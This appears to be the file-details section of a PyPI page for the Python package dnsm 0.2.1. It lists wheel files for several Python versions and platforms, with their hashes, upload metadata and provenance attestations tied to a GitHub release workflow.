Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 e354cbeaf2f8ee78b79438087b08e324c8d9cb0ea196636fd34dfd9b430d4ef2
MD5 7c26e4fe6478df9f1be9a30ab18e7f3f
BLAKE2b-256 9e45a2367e6fd47aacc815061c4a7a4be496bf218ccb27541dada305e111a784

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 ff5900adc6840faeec2205e58e09a57160a360bfd0fb9fa973d141b3ee516fc1
MD5 2cc856626f692c9a35812e92e4001fd3
BLAKE2b-256 a7d01b8e9a633e703b352b07b3bf70b5e300d13747087a53148fdfc88a2ab1de

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 7693b3d063fa9cbe52a351bba420829944162bf1e58a3c17e9a13c87d3218f31
MD5 32a2ef7bbcc4c39e81840447d66dc799
BLAKE2b-256 d405f0e557f46ac9e048b2be91efe3d5bf17bcdd72d8eb01c2512406b02666be

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp310-cp310-macosx_11_0_arm64.whl
  • Upload date:
  • Size: 253.5 kB
  • Tags: CPython 3.10, macOS 11.0+ ARM64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 dc66201a7fc292e653d36cf8525dda430fe9954691665bf83231ff010a6d9f51
MD5 a03bdc397acad18cc0de3d2af5f4ae35
BLAKE2b-256 a932ea6613863264f1d303c6a78b29438c5d66a72d510e84aad99667a4b770a4

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp310-cp310-macosx_11_0_arm64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 982c3b6b7e09cb9874d3605a26eca8d59c2024ee6dda19bb69e2b8537e5e3e09
MD5 7d5f9598825cc04379203d3e2a00fe05
BLAKE2b-256 54dc91f792a96704d6368fb95ee666deb7602066fa8c1f3a5405e163633cf6d5

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 6932c76da96e7f4d4f21aab50cc8d61656a3f5ba1d0f1242b451bb53ba6c3d53
MD5 be53e705801a58efb657136f57311f0e
BLAKE2b-256 350ce370e1c9da68c5c4ee11e247ad8740bb07e81b2b06816bc519691d18e3bf

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 f6b53527782434a14ddc27c3199109f33aea851769eafecada67a705dd21c9a8
MD5 82686f60f5927f3c871af71ded497143
BLAKE2b-256 74758c02bf01f6a876b6be57db0c32cc99421a573ad7d6f18c9ba8c2b8fc89a2

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp39-cp39-macosx_11_0_arm64.whl
  • Upload date:
  • Size: 254.7 kB
  • Tags: CPython 3.9, macOS 11.0+ ARM64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 dc092aab45e31501d317e9b5a0834caa0d5f2e878f496fd69531eb294d7314bd
MD5 f4595eccb353cda9ba007e8425649b39
BLAKE2b-256 9136fa98561cf131b64e79c5e9bfaedc57939d097341062bf1dc23510162336b

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp39-cp39-macosx_11_0_arm64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl
  • Upload date:
  • Size: 275.9 kB
  • Tags: CPython 3.9, macOS 10.12+ x86-64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 48563feed605f4aebc160852f6190ac64cdebb100e7deeea644f2e88a8f83dcf
MD5 9e579c1c1d30f13c1c21e3d564760261
BLAKE2b-256 49e3da3803f6fcf054aabd547c9c5f499339c51b8fce66c356561979e18b8d86

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page